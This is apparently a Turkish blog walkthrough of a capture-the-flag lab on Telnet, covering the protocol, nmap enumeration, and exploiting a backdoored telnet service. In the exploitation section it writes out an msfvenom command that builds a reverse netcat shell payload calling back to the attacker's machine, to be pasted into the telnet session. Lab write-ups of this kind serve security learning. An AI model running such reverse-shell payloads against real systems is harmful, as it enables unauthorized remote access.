Görev 1: Understanding Telnet (Telnet'i Anlamak)
Telnet Teletype Network (Teletype Ağı) anlamına gelmektedir. Telnet, telnet istemcisinin kullanımıyla, telnet sunucunu barındıran uzak bir makineye bağlanmanızı ve üzerinde komutlar yürütmenize olanak sağlar.
Telnet, kullanıcılara 8 bayt
üzerinden sanal bir terminal bağlantısı kullanan çift yönlü etkileşimli bir
metin odaklı iletişim sistemi sağlar. Kullanıcı verileri, iletim kontrol
protokolü (TCP) üzerinden telnet kontrol bilgileriyle in-band (bant içi) dağıtılır. Telnet
istemcisi sunucu ile bir bağlantı kuracaktır. İstemci daha sonra uzak ana
makine ile etkileşim sağlamanıza olanak tanıyan sanal bir terminal haline
gelecektir.
Telnet kendi başına herhangi bir
şifreleme biçimi kullanmamaktadır. Bunun nedeni Telnet’in internetin
adaptasyonundan önce geliştirilmesidir. Bu da onu modern güvenlik açısından
modası geçmiş hale getirir. Bu nedenle, birçok uygulama ve hizmette Telnet SSH
ile değiştirilmiştir. Yine de Telnetin hala kullanımda olduğu örnekler için iletişiminizi
güvenli hale getirmek için birkaç metot bulunmaktadır.
Kullanıcı daha sonra Telnet
isteminde belirli Telnet komutlarını kullanarak sunucudaki komutları yürütür.
Aşağıdaki sözdizimi ile bir telnet sunucusuna bağlanabilirsiniz:
Soru
2: Telnet'in yerini yavaş yavaş ne aldı?
Görev 2: Enumerating Telnet (Telnet'i Numaralandırma)
Başlamadan önce hedef makineyi
dağıtalım ve önyüklemenin tamamlanmasını bekleyelim.
Yanlış yapılandırılmış bir ağ
hizmetinden yararlanmada anahtar enumeration’ın nasıl olabileceğini zaten
görmüştük. Ancak, istismar edilmesi potansiyel olarak önemsiz olabilecek
güvenlik açıkları her zaman önümüze çıkmaz. Bu nedenle, özellikle ağ hizmetlerinin
enumeration edilmesi söz konusu olduğunda, yöntemimizde titiz davranmamız
gerekir.
Her zaman yaptığımız gibi, hedef
sistemin servisleri, uygulamaları, yapısı ve işletim sistemi hakkında olabildiğince
bilgi sahibi olabilmek için, bir port taraması gerçekleştireceğiz. Nmap aracı
ile -A ve -p- seçeneklerini kullanarak port taramasını gerçekleştirin.
-A: İşletim
sistemi algılama, sürüm algılama, komut dosyası tarama ve traceroute’u bir
arada sağlar.
-p-: Sadece en iyi
1000 port’u değil, tüm bağlantı noktalarında tarama yapmamızı sağlar.
Hadi hedef sunucumuzda neler olduğuna
bir bakalım 😊
Soru 4: Şimdi nmap taramasını, -p- etiketi olmadan, tekrar çalıştıralım, kaç adet port açık olarak görünüyor?
Artık enumeration aşamamızı tamamladık. Şimdi sıra elde ettiğimiz bilgilerden nasıl yararlanacağımızı öğrenmeye geldi:
Görev 3: Exploiting Telnet (Telnet'i Kötüye Kullanma)
Common Vulnerabilities and Exposures'ın (Yaygın Güvenlik Açıkları ve Riskler) kısaltması olan bir CVE, genel olarak açıklanan bilgisayar güvenlik açıklarının bir listesidir. Bir kişi bir CVE'ye atıfta bulunduğunda, genellikle bir güvenlik açığına atanan CVE kimlik numarasını kasteder.
- Bu makinede kötü bir şekilde gizlenmiş bir telnet hizmeti çalışıyor.
- Hizmetin kendisi “backdoor” olarak etiketlenmiş. (Yani sisteme erişmek için kullanılan bir açık kapı.)
- “Skidy” olası kullanıcı adımız var.
Telnet sunucusuna aşağıdaki söz dizimi ile bağlanabiliriz:
telnet [ip] [port]
Hedef makineyi kullanmaya çalışırken bunu aklımızda tutmaya ihtiyacımız olacak.
Reverse Shell Nedir? (Ters Kabuk)
Reverse shell, hedef makinenin saldıran makine ile geri iletişim kurduğu bir shell (kabuk) türüdür. Saldıran makinenin, bağlantıyı aldığı bir dinleme bağlantı noktası vardır, bu da kod veya komutun yürütülmesine neden olur.
Bir “shell”, bir cihazda kod veya komut yürütme elde etmek için kullanılabilen bir kod parçası veya program olarak tanımlanabilir.
Yazdığımız şeyin bir sistem komutu olarak yürütülüp yürütülmediğini kontrol edelim.
Şunları kullanarak yerel makinenizde bir tcpdump dinleyicisi başlatın: "sudo tcpdump ip proto \\ icmp -i tun0". Bu, özellikle pinglerin üzerinde çalıştığı ICMP trafiğini dinleyen bir tcpdump dinleyicisini başlatır.
Bu komutu kullanmadan önce anlamakta fayda var.
Bunu man tcpdump komutunu yürüterek yapalım. Kısaca tcpdump; bir ağ arayüzü üzerindeki paketlerin içeriğinin açıklamasını yazdırır. Yani bir ağ arayüzü üzerinden geçen trafiği yakalayabilmemize ve analiz etmemize olanak sağlamaktadır.
Bu görevin başında reverse shell'den bahsetmiştik. Burada hedef makine üzerinden çalıştırdığımız komutların bilgisini ana makineye göndermeyi deneyeceğiz.
Şimdi öncelikle yerel makinede ip addr komutunu
çalıştırarak ağ arayüzünün ismini öğrenelim.
msfvenom -p cmd / unix / reverse_netcat lhost = [local tun0 ip] lport = 4444 R
-p = payload
lhost = yerel ana bilgisayar IP adresimiz
lport = dinlenecek bağlantı noktası
R = payload'u ham biçimde dışa aktar
Soru 8: Oluşturulan payload hangi kelime ile başlıyor?
Harika! Şimdi çalışıyor, msfvenom payloadunu kopyalayıp telnet oturumuna yapıştırmamız ve bir komut olarak çalıştırmamız gerekiyor. Umarım bu bize hedef makinede bir shell verir!
Şimdi ana makinede oluşturduğumuz netcat dinleyicisinde bunun bilgilendirmesini göreceğiz. Bağlantı kurduysak komutları çalıştırarak flag'i bulmaya çalışalım.
Soru 11: Flag.txt'nin içeriği nedir?
Böylece Network Services odasının Telnet protokolünü tamamlamış olduk. Umarım keyif almışsınızdır, bir sonraki yazıda buluşmak üzere, sağlıkla kalın.
0 Yorumlar